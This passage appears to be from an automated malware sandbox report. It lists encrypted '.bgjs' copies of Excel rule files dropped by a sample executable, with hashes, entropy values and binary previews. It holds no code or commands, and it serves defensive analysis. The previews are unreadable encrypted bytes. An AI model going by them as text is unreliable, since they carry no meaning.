3>Kn....0'/..K.m0..+..-o.z{...'RO...v...+^..7$....y.J[).U..\|G..,...E.....:...7._.p%..o.R..q...;..nJd...Mx....OeH.....(N.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.685600442636577
Encrypted:	false
SSDEEP:	12:uHNN2GGvoTyv/y6g46MtTR4XSxZledUWMXHLuQscii9a:uX2eTy/g46V2s0HjsbD
MD5:	E2EBA243621F739DF4213C64868CE09F
SHA1:	98727A637409859B0A1F1EACA22476BAA56A13A3
SHA-256:	4E12CCF19DFEFC3C87D802A5B0EB900B09776A21B17918D5EF590B3B9216B127
SHA-512:	8D554DC2BD159E28BA58A005647C575D6AD624592577F3C4FE3E2AEBD781AD3DCE73207694A949A4C2B882E98EDF5514AF2F3558D5D656E9243799235323CEF0
Malicious:	false
Preview:	<?xml,."gf.?.2..s..L.lq..m.\4.mM.....+G...S.....6I..{mL./.....v...[>..e......K.[.<...w.x..y.gy\|..3......c.e4...6.sL...}..%...1.../.D.2......31J...a._G.........2..x...ug...^.).R..8.k~".b..w....w../.l...#..@..o..A.9.......8...6O.wQ.a.&......b..^..q.q.!...m...$.{....z.......a...K.1...n..!R...C.-..z.7bC..1..HDv/.x.............YW..tS.?gj$...]...h.q.rd{.\|..7.........1wW..y.^B.2..=.^5N.0D...........k.......x.y..>..V..m../O+....K.Tl...z..g..&..^.?.R..H..5{...l...P.w-9.L.o..W:G0\|ES.\.Q...t.;.2..YB].....eR.......Y.#_...T\|.....\|cU.1Z...}..T.H..S,.........D.J.)..k..VZ...d.%.?..H.y9...-,u..;/....d`?0.....S0;.g Z..M u7.c...k.&..U\|t...s.I......pC8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.671084394949655
Encrypted:	false
SSDEEP:	24:bjPhVrHAiH1y82MA9dsXlpvqmS/iasXdJsbD:HhVrHLVyr9dQpvqXirmD
MD5:	DD1B3A78DE9F77F9F666CEE370329517
SHA1:	D1ABF52AC222AEE8B75FDCB7FF6FCF1EBCB02C1D
SHA-256:	EF2894C812B62A71B91EF20CDCB724FBF8F267AA0D7D93AABCCD93AFB6B5A495
SHA-512:	08252CE7D379EB0F73C9F8034AEFDB7148E8B3EF3F00FE6B1D4CD25CCBC0989813281119BB586466B2B566CCD929FF09C395FBDED6F1DCF1C2EA70DF79E86C6B
Malicious:	false
Preview:	<?xmlpB......f....{.\|.4..o^.K!...-ge...3..h...W<.Z..?r.......!.....?;...`.0<E..Y^..~...n..T.t...s......3.'.\|k_.z;...E...I.9...1x.\|2"SA=`..78E.3C`'.j..0......p/.?.....s.n........D2.a..5b.x..`...v2.....0...gW.j...9,.8...8.f.L...+@0..GM.......8..}.,..?.I/(6..L.<...@n....HQ.../,..K..weE.9Fo7:..?..3.........]....7...d...-W.....G_...H/p..n^.'..Y<....._..6m.p..'.D34.~..P.....d.y.p.....U..(.J"..I?r...?"2.X.zF.C%..... .o..q.I"uf...`HJ..;.1.. mj.t.$..Ql8.../T.;{fM.XX\|.".)ot..s...T~.....6..~,..0.e.9.....>..6..!.l7....>....(..W....=.b./.O...m.J.Q.....<m ]"%....U....m..w...c....K..+"d-&)f..0w.n....@.`.>.....m....L..l..l...5....h..<....[0[....Z.9:.p......X.....[F.e\.H.......*C#.{;;...&E8F..p...5..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.753531932001586
Encrypted:	false
SSDEEP:	12:vDUMm45AiIUEpLQPrSJDBQxPSZXGqcrxn6jkt3beQz+V0mBMqMWkIdj50gcjNcQ+:7UuOQEpk+pkSglnmgbaXoEj50LhsbD
MD5:	671A7E6A931B140CFC44B24D611EA028
SHA1:	7E469994F9A7BCB3E6E81FEC0F4753B8733055D4
SHA-256:	4A35DBBB3C611C4492799CD25918E4FF51E271914117BC6C0EDA6C544363985B
SHA-512:	FC37D435BD14B182C6A921D1AC91064D5C21F48C5C864A59CE3CF9F54176452EAB0830CA3C1A86CDC4775954E9A1BA70FD85F8029F2EF640143E829972D279DF
Malicious:	false
Preview:	<?xml...P..g.=.M..d.?...#._.?.u`.{....4..?.A.O.......].]..L.o....._.h.<..-2..@.k.....LL..P-.b..N...%y.a.0;.J..Z.....W.;"...z[.P..pNyit...:.....;..iJ.^b...3....k.g..D......$..}.M.a....X..=.Yw.H.....x.e.........y..s./..j.?-/.mC....8.gf...F{d.v.V.......T...~l.y...Je!.X....v.$....J`L9.f.X.$..$_H.g........./..C.&Y.<..M.^.=.......T:......P;.[...Q.._.-.Q.g.2...r.Ae....?K.U..~a.=.[.....}d.9..f..7.F.d...hTu7....N.).;.1/.o.\.-'.o.cy....0.I].O..S.......l;A0W....c....4.6.o.z.0..O.z....O;... ..F.5...(../&.%...M.4..<~r...M..[/.2'"......J..Z..[.X..^..af3....qG..J...._.>._.).Y....m... n.f.....6.Wj.!Us.Rt...P..<.6.+J....k..~.....}.`..........I...C;.Q..!.M....v..$....UV..}.18Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.77172271464923
Encrypted:	false
SSDEEP:	24:1PKBDKSotIn+WFvyeeSFXtNVKNS86R9/KS2OhSoTmjArsbD:tuoenR6EXT4NS8E9/KW9frmD
MD5:	8F0338F2C8163D26E79F33BC7F2C2ED7
SHA1:	7F462DC0FBB3523A4A867AB7B37D3F17BFD8788F
SHA-256:	366667AE47B1200B6CD33A124E46B7D78DDA8E5A85F20F9F8221FF0321C1ED63
SHA-512:	1843E3D6E22F4B8E014B7A8DD1A0C16CB4EEBD6BB56B77D14FD082E9D67CA17907BF763B6AA690A227FECF24C5FA7F8FB6A6DF2E6B5742BFFBC40B407F633E34
Malicious:	false
Preview:	<?xml..K....?\|...B..~...".$@R....n.&A.1.mnH..f..6/.>.R._.S./O.UNc..B5.\.Ar.L.....l.........Yj3.........f}.d.....+..<....v......kX....u...{@..Z.`.......1.. u4$lAX._...P[...b...T.PW..!....#.'.i.i\|.a&.Xw.)P..~.M.......5h..hc....\|1E..%v$IK.m.w]+.K...b...5.z.......M+..CM.}N.sO...6G..}..pwn.ibd...W...A,#.........t...+s......L7.........o.f..o...K.nC.q>d..;..[u...s...j..Z3...t5..#JO+...]..Hg.qs..\...r.#R.....F...(....>.h.W?...........<...H.a.#...A.........1.r5#..........7.f..TF.E..L.1y......\|..i..Y.@.E.+......<....u.^-.1$m'"X.;.....t......m;k.j^g..U.Z:..Ez..M....d..4]..y......M*....Q......bG.......]z!l.g.;...te!......h>.5e.)!..[!....1^=..Y.;...."......c.?.q>(...q..GN...aD.l..... .`._..i.I.m.J......a.g.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.704053528450751
Encrypted:	false
SSDEEP:	12:jnAG3Opr7bgzw7WGidJEaHRGJA7dB3JDrPMdnOHJdNU8Cfc+qaWGKesuQscii9a:jnlAr4e3idJB7H3RPcOHJnVQqasfsbD
MD5:	92B18098FC17863832682DB41A5AF35C
SHA1:	2A835D1D600BC651619C6C61B5545A34C783CEBD
SHA-256:	94B1D7127A4ADDBFC6E3BC2A904CB5EC154BFF22782B188DCED73F5E6CA914C1
SHA-512:	B506E8036BB390A86243C60372930E6F653650FB089437A68ADB91C6610F270B671AD7E899AF16494F17F748FDC53C83602CB083FD83B67E3B1C3FCDD0430D14
Malicious:	false
Preview:	<?xml.E$...S.q..t?y,O..L..........h..".F..0..C.".8u#....s...,...?.=.w..8...S...fE\|9.R..z.x._.%.u..z....do4..?\|....A.........9.3{..........j.4D.r.!.N.X..[....)d.P...W+..W.#.g.u.....(...B.........I...T.<F...XmA]....% ..q....G.........'h...x...C..$[.........l[.rp.>...FP.&.C..."w.(..w.ToJ.....j..vx.....X....-..q..a..?...K..6..?.g............gA./g.3.V.W...{..(.@...g...5..K......p..?....U6..r...;..'i.....n.TE.%S.$k.3......#X...?O....V.....<a...e3.)`V.?X..r....f..8...d....1....`.U....I...':...o.Fru...]..@:gc.8....o.D."ke._.n..V8f......C..d..-qa. 9.....I.....5...+E.r.....=.-....,.j{.o8.;..h.....Z..}........S....b..@t..A.;.b8N /.+R."...d.....{8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.735962384258799
Encrypted:	false
SSDEEP:	12:U9Ds07XYNQK47tAmpx4Y9lxcKEwQHkeoBWge9nTbSxbahQscii9a:OZEytAmbLP7EHDJKtsbD
MD5:	D0809914735799FC4653D026E7146CBA
SHA1:	B3BC69ACB58DF1E8C73B2BB921489850F9274C44
SHA-256:	5180D6DC766ABC1D77FC25036DD693C7977E20DBB852CFEA853E976B59FABCFA
SHA-512:	CFD8F33D915235858FD3BE31F02159B94E3D32F2DE86D4309A6D234C7C204C835E505D6D482D303E69FC189BA57F10A677CEB1CE37B937EDB5A9DA4D810D4F5A
Malicious:	false
Preview:	<?xml..0....i.X.-/..zT..[.XD.\..b.}vW......lQ.p_w.K.p.".Y.....z'.".....QJ.-.4.\jNb{..Sz..N..;.cm..Bv.C.sm..KwhG.df..A...z...\).]!I.B......T5+1...6....ql2..60.nmei. .+.S.3.\|...W.`..T..^.I..97.....+...<..hf.V8...M..\|a..~...s.5..f<.`1..4[h...\.A.C,..h.i>.k..:I.^.s.J..]..f... ....5c....5..E.....~._..2..:...U...........s..u4-.c......=V.[~%}.-.!]...L+.\|.....0.1....t..[V'[...p.....u.6Q.X....}.fM.... .6^..h...;Ur...;.RYgb.a...'o.^a..1...(...:...&......_.t...3.U.................zr.........y$..H:.qh\....K.a.N.V....../..#..iq....!/.t......c"9.}%.<o.o..+..3.di.[.t...b..N9'..j..>..@*j&..R2..Z..$c..}'..^.'..U.!}..h......C..D.(.6HZ..[..0.~..b.B..=.6.+..&_.N.P..>.:.....{eW.u.....L.C...[.Q.t...k.C....._v..D%...}..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.704326805359527
Encrypted:	false
SSDEEP:	12:nOYfr1POzL1jBAWuHTGZsBPOujGcUPrl0W/VXS9/dXMKHRAJq053kBPLFrittKQ+:fhSLQTBPOuKcUPpPtC9pMKxeMPLRELsX
MD5:	59E5FFA8A5D5A2C209742893A5498D4C
SHA1:	3C02CDE00069CF2BA0C25131AAD8639788E9D5E2
SHA-256:	5C2FC994109A71923537013F7677A7B41AFFD94101291B61BF369B48925919C6
SHA-512:	00FE8AA6BA97210DF48BFCE8DAC7E6DA0DB13C8546814F68029E257A5D24C7DD771E91B82F5DCF59D53A0C792605887E454A0F330B8BACEB57CB9663C1E25C8B
Malicious:	false
Preview:	<?xml...r@Pn+..m'?..s.'y?.%.Z.Y....ll...1Wj....P\.hO.9g..]..."..o..r.:.m.G..t..Z.^...q%.....x$.S...O%0..#..W......?_.i.0.Hlt.`&Gp...r...N...Jp......R.\.>\|...S.....d<.a....(h..v.c..~...Dum.^.H.!.#=...G.....x..m.^{.....(..................d..?..E.{..KW.-n.m....&T....;l}.I.\|ct..'..(K..cq!)`..M.s`)W.S.s.U....8...\|{.[.[4y.^._3/u..+0........W....\|...Cd...T..@.......mM..>...08[N!..D.T...2&^].x...z... ......H....$_h.e.......r_l..&zJC\.}.../+...........5.l.....X]...9 .0..l...Z...}.0..K....:..W.^?.4.'..z....\|l0...!......../_.>..y. ?.........<F.. ....o..j.X.hN.....c..Ss4..yb.Z..........K............4..n..;W...Y.0.y>s<...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.728920306654339
Encrypted:	false
SSDEEP:	12:30c2yWzJDIF/LwtCTYjWhWZeLf3XG0jPaAXDdYxiDKO0PzsDk9/xZ5IQscii9a:30U0DItLACUjXCXG0jNdGbyk9ZZDsbD
MD5:	B15E2C9B4DA673B90EDABC0456C4320C
SHA1:	B4B74778A8BCCB9E0D5C79DA205F6681E4D14D17
SHA-256:	F99F309D22DE602AF59536FB7648C549250AA93C8E79D4D41979FAAE13F12CB7
SHA-512:	8A5DB3BFABBAAD752CAF15F374E37BEC48EDD9DAF0329DC69FC3041D242D19E39DE4E5DD1C2D433AD19A724873152360CE34D8AA40D5F0BB7604D7779CA374E7
Malicious:	false
Preview:	<?xml.6~a.....Sf.\.._..7..~......+.Hr.;:..C..d.g..Z....u....p.G..4.'.....T..[.L.&.?..0P.Sw\...%.~.\|.6....d..l..u^...e8t...HN~].e=".u.::$Q}.{.l...=.L.h........k.T..dY..\|}v..}.6..#...L8v.......7tD.,.u..j\|./.E....v..Ux.^.[...R.......`DG.....2...k.u!RU.}7.8.\|2.O..b.....l.....K..h,.;.z.s.]b_.+...\|.ug...2C...7.4....').b.!....N].L.....g..7k+g.3..@..L.@......G..../.t..A5;f..e9@.N4..={......( .VGT....m.......9>.KUf.....V...p ^.H.....CfP..v.8)f.....,.2B......O.m....G.h..du;.....[..'..t;~..sgYs...k..\|H..M...A.t..\|P.mJ...h[...{.kw-`.....nZ..)a"..........u.z./=(...6.@@.....R..C.-y\|g1Z...wnr.+.....*......j$e.3....5CEc./.d...F....}.)........?V.9...Y8x..R..`...(.f..N.....L.....LD..-HE.P...Y.`.3..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.671434858537746
Encrypted:	false
SSDEEP:	12:+3iHbjp1g/y8TToYKXUoVcJq2ZFkQYyVT5Uz4mfeSnkf+pH0zIrF1blfW7Qsciik:+3iHbs/y+EbEo6XZ6QYyV5Ud2Ss+H0zp
MD5:	258D0DE1AFA9B55A5EA2B629759080CC
SHA1:	BC748BD9F0046C8AEA6B3E7131AD9D5FF40021B7
SHA-256:	F86F7EEC1BA3F9FECE5D606247D1C382CC2F7385FBBC92425FFF94C9F5A88183
SHA-512:	5CF4EF9BBB59CE3BF13492FF04EE86326A9C652183D4C2BD217EEC26D9D77E1A36355568621058D0F4024067161039F9EAA2FD4F901ED08278404B270B3F629F
Malicious:	false
Preview:	<?xml.R..}..j6....(<...-d...._...@?_..w.....?\|.....)I.l.l.a.UDs.DMS..!.:k.j.D...o.(...458xz.Q...+..b.G.G........K..+......,.....'..+<..+...^.D...l/.2....a...m{ysC.i..;..7..,...\$..\!..sd.m.f..l.SB.).....u..dfh...#.{0.G.A......q.X[....g....JGA.....N.m..3..@Uj...Au.,..T....~....H......Dj...P......hj..................B^.....ku0...z..h.ju4.......lo..fP..D.f...G.j....HB0.GC.A..s%Q.2C........_..0X...........$.-5.8.lQzb..,c.k..z\..Lqg.}tZ..g.,Z. ....1...x.K..G..........Q..9?.+..~P.H..".e.B....v^..q{=.{y..!.PR..w......b.....B.F5..XZ..1^. .Q..&.P.....C..$.h.....q5i..[.hg...V...Y...8..u"@.H...s....b...X{y,.....a.....O.O..#............\|.8Lq8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.726895792006129
Encrypted:	false
SSDEEP:	12:k9fomO8ti8KRoHRNB38Wh6TMYTiMX0IZLpiI/ts9mmgdXsrczMCsvk54f3MLaQjG:cAgi8KYt8fTffVoYtaozjH7jfsbD
MD5:	16FB019A4E013CF63B22D5ADC5F39B69
SHA1:	DB4D64E5855762F7630453ADFA445F23E43B8A0D
SHA-256:	A392DEAFD04A915BE6EE222BAECB402A71FED167D06E4BC672CD9B638C9739FE
SHA-512:	B9F1DE3486172F262D9A249A2DB4553D0A80D7146ACBAAFF7D491933D965BF012D060B74747F425F2A261454B19AA3BBEBE6F9AFD057442C3FE98368CFFA6ECC
Malicious:	false
Preview:	<?xmlY...j...P....7H...........Q..~.Pnj......e....T..<....2#..D....<.9...Im,.>y..4&......%.z...L...L....2.X..M.9...x.9.;...1..X...Q....,\|..R6.......=......R.$......T@..... .Si.2I....yn.<.F.?j...Z#....+3g..x.[.....U3...P. "9...!...^>..`..$.s...<.".Aw.`....\........ozK.2hd....{.D .(......_.z....U9.i&.~YW.$l.Y.R.h.oSX.fZ./&..e.<...v.i.Q.=.`c...OU.7F.o0rD......#..?.m\...v.4gO..DFik2....R.....~._R_E.K..2....#M7...]D:.%.G....Y;..0.CA....{6..v01....E=G .F....Qy8T...l.+`1.....B.x..`.r.s.-.V^..GqV@......0h...8.0......-.c.V/.J...../.9.wq.-..j.[.q........tV.W...\|...\|X.-a.l2.....J..`]...mp.+.#:.....b,..0...^.....{.......q..,......c.g...Bf.Z..i.-.c.d....Y..2v....T.S....s....AR.}2.._gm......1aM.Z..f...I..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.686075677646608
Encrypted:	false
SSDEEP:	12:HJBbrgDmL7vyi3r66tzc6nHjCIP1vPt0aHJ1OOdDBcrHaHCJxSRGrWRN+J/wEQQR:P3G87Ki3Vcqn1vhHr/W+HCJUV0lhQFsX
MD5:	4F4605D8E8FD6150601221DFF8AC2CC9
SHA1:	BC9B6B9F7BEE3A6C042016B7C0163BC1FEDEC832
SHA-256:	E5060149142CA2F4C1A7689E4D27B4067672832DC9314713765D48649C050B9E
SHA-512:	5100FA5C196BB1005DDBCC26A63B24B97E4500FC237BB16F71007F58C9AF35C4CC86B10B643A74E5D47B6DC50033C58D4ED345384356127F528B030BFF60C199
Malicious:	false
Preview:	<?xml<._.*..O.H.....E..p......J.A.g..9.W.5....E...N..i.....f..U.C.U...0.QL.....a..MX%8r..Jr..E..f....n...}!..Rh../.>6y..Uy.9.1s.8.)...Xl~Y...\|..'.-AC..s....w...I.U..T#k.KF.wg%Dm.......2x),#`^IM...<.......).2nv.X%N...=f]8g9.@L..P....H.Rx..X.0...W..JBb..M...g.6.gi/...zXg..X.ZgM..j..N2Lu.........1.uS_[..r.].V.,MD.:.?!B..4...dw...L&..........W.:.......... ..!Z6]r.<."u]0B.\6........Xidv.....1.<./t..y'.]..t.:.......W-..@=.).Hv,^b..@\".B4(.l.@>54.R..e5\|..".{.Li[..\W.......8W..T.vj!.k..j..'wL3.X...N.......+..^..2t.#.wJ..........I..%sS..._......o...........4&-.=<`Dd.l.`...[.d.;5^?z{.6..g....V\N.....n".........'<.....`..keS...L.D_.[I....Z.D8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.756031577729159
Encrypted:	false
SSDEEP:	24:8fayAEfzy7GWD224YMdSUvMZVkE9TfHDsbD:8AFaWn08VkE9DjmD
MD5:	D5BCEA962F300E65FE1C3D72AA077812
SHA1:	3DFE5E252F1E42A41DF074A52C2F86362B9AB801
SHA-256:	4DA4B2FD044FD13E01B8585ED41442A16E79FC83997FF52D7A96E61FAF7CA3B4
SHA-512:	35C4CB7C365CB0C33A31C40721F53952E21363E3238A4DA71AD4D44ABC4937EBBAEED16FD4B7DE424A330C7FD613976B037B2F47B42DC93AD3606DA094926023
Malicious:	false
Preview:	<?xml...g\..t......k..M^.s.+..}...=.Q....Z........%-/..@....N.....$....~L...q....NG.......a..>..7B..IEk........%..+....\|.'~{:.E..^....y..g.....NZ.H)m.......bsh?V..}.;...K1).\ ".......:..e....Z..6..q...v../.X.`.{..9......J..>!.W.{.i........x...._{2d.%Gv.....o...$..b.Y.Y.Wi..............r....I]&.G`...n....l..Pa.w.O.p....B.......O.#S..@q.=.,.R..%/F."...W..v.\|..\...3[#.~...0.%....."F!k\|..4...H.).I.0D.85.g..[.wM.9.j.....@...tH.....zE..p........X.....b.'.....zK...u....T>..JJ...I....D...}...\|..Uc... >M.{.g.C. 6.......p,...v.\j.p.fY..6....:S.v5..I.US.M..2..O!..7.\|...N$....=....o....O.K.).=..lPIE..t..41....9O..y.,0=...8..G.y}8.*;<..F..\|/B0#._L2...%.....W.1..x(Ch....t.c.u..a._...........q..sw.N...+..V^8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.683304596477594
Encrypted:	false
SSDEEP:	12:sNvmRycwefSB0OAjsc/uRUgtl4rJoy82AVIe3T1i0GmHLjR7DthPxo2Qscii9a:2pbeDHsz1yAVnjDxrNXtZxo3sbD
MD5:	0464CAF886D0125735586A9C9BC2E3A5
SHA1:	FBE7B1FAA5D9BFE60A156455F2C97C4AB53E7286
SHA-256:	47D96DFF565B2FE94A5C456CE9CB409E833621D3A21508CFED1C40B8C563926B
SHA-512:	1C8718CFD277FDEF5497447E5C9413B073925C46A25A384FE7A278890738F8DB3C65E9AE22260EC73F32714EF93FE478B758C4899B841A677A94229E590E04E3
Malicious:	false
Preview:	<?xmlQ]o.....v........W..C.V....S..q..}bW$wmL...$I..Q.q...:.`\..=..J`..]....#U.E..P.7.R.P..I.<...2..\|C......E@a...}h......}..w...xA.,.$..#.-:...EQ.....X...&XDJ!...9..DKe.u..6K..%./.V.....&~..A..(1.....\|.\....hj.....<{t.0-_...C...,..H...H. .....^....f.v.?..EL.....'C`...k..lmdho... r.w.o......I._..e.Tv Rio.....M...y.....O.-..r<]A.)E.........Lq...Q+Un...].._.......0..6...U.t....A..&..6..u..?..%..QN.\|"...$.\.^.Z.^.26.&?...g..2B&Rt.....2......k.6..O.^...#.E....c...m0...]_....)..5"].7...`.-...j..]t..NM.{L.&..^..3\.i.f.$.r.......<_..<.1....t......?)..Q.......h.[.F.....lGmO.WG.'..........g2v.h..].....JB.KX.D.*#../...eZ.d`8r..!.>8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.695743362303836
Encrypted:	false
SSDEEP:	24:Jf8Uts+2haSvkMh4G4aVogHkKKd05JLBBb76tbJsbD:2Lh3kAv4aV9PGGZQJmD
MD5:	1606F7D105B463FC04B36D4B14339F14
SHA1:	7230D372CC7260A2A3924CDA24F4178B8495A75F
SHA-256:	008B0D5E27CCBA2230C4F366E45AFB84B8C80F995E13A3EE1E89BC077CD29A09
SHA-512:	12702C88D269A8F238946B3FD2DB15FEBF4E8BC18C8842E3531EE60A5305B74048169CF36DCAA0F704B2264379106E53EF32A1D2792C95F0A09AFCEA6622CB54
Malicious:	false
Preview:	<?xml/.G.j?d.N.IP.l.Qs...Kw....G..K4.S...y&..,..k).%..\hL.s./.9.Y.Y\|.YY[.5..K<.......E"r\.Y.s...t.PaF@.L....Rc..'...f...k(.&.R.z96...^......\|r..Q..b...r...IF..5....5....m......`...^......N.#\.J....:.n.9.g-.mjy..`r.M.vo......2...Z....?F..Nh..o.y.....~A...G.D.)...ZmW.......p!#_O.....X.X..Omi<.n.v.fZFF....3.'......g.R.............B.>....'.].}T.D..{h.}h.}f8...P.J...fPR......:...V.D..Q1&.?D....4p.uQ...B<..Mw.'.5&./...GOf].~ZG..-....N.N.aj*.Is..+:..w....G..G.......c.....^.M.v...Q.........=....."9.4.C...)..\\|D......1#...J...../R...N.!.o...1.%@Z......Y..n....0.3.....i..w..X$.R.fJ..^.it....\....A..M.D...8.k..mP....O[......7...ZR.....S.c..W..pa.f..GS....dJ..>.......}R.}.L..$...j7....k..F....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6962756448297505
Encrypted:	false
SSDEEP:	24:5ei/VSCuhkdQmO9xxgKx/5LKZUp5BCMsbD:5bVDgkqJxxgO/0Up5oMmD
MD5:	5116C5B9EC58FA55384E271B1336D481
SHA1:	884FAC534FD8294D29A15C2C4FE9CEC35D0FC6A6
SHA-256:	A41BB7136A49B8C1D48B3625E3B19470A28B16B2385F67D740BD7C49855402D3
SHA-512:	1EA20068CE82024023E9803834B984A5FFC444460588ACD1D3805F1C4BCFC483C96F15A38266FCF110638A6A9C57855234F458CA4A620C475F37A1313177DDE0
Malicious:	false
Preview:	<?xml....y-l..F.T.....}=.)W.4.n.QG#r&p.?q....;..m..B..-.&..yO.#..[....!...`B...t{.M?.n....^._l......q..\|t=r.&.B.\|..Q....4...E.agA.!+Ncu.... ^P)....N.p..{.. .P...b...z...3.pK.nGi...&......./7L....c.O.A2y...p.F#.o.(a.y.o...p].6K......Z..........P...d..rN9...B~]>.~...c'd$.l`.....)..$.>......B....M.?.i..a.L\_..?p.4t..a...NE...h.KP:k.(.....u...~......[G..0 ..e.".J{ls........W&..YH...>...Tex)..}.+G.d._g.I...d....P.LB....P....n....r>Mt5..(p7Uf.5..&.ir..V..c.N..>.w.]%,.).".....o....Y%.Lp... .ND..#...].......j...-.u.l>.Ae3s...(...Gn...4...Q......../.rW.K[.T..]'\|^+....vX^.X...... Z.y.....\|..X...{.....O...1......c.%3.......x.e..K.Y.@.w:?..ru.K.......Q.V...........U....T.....t1.P&...l...r.....}8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.673391408255206
Encrypted:	false
SSDEEP:	24:tJF4KhAt3Gs9p6LhRbeUFC4AN0x3wfsbD:tJFCtX0xeUFxp9wfmD
MD5:	2DF3E563BCEF17DBB27DD76176DFFB61
SHA1:	9D701F2431CFAC279ECC840029B11CB37783A918
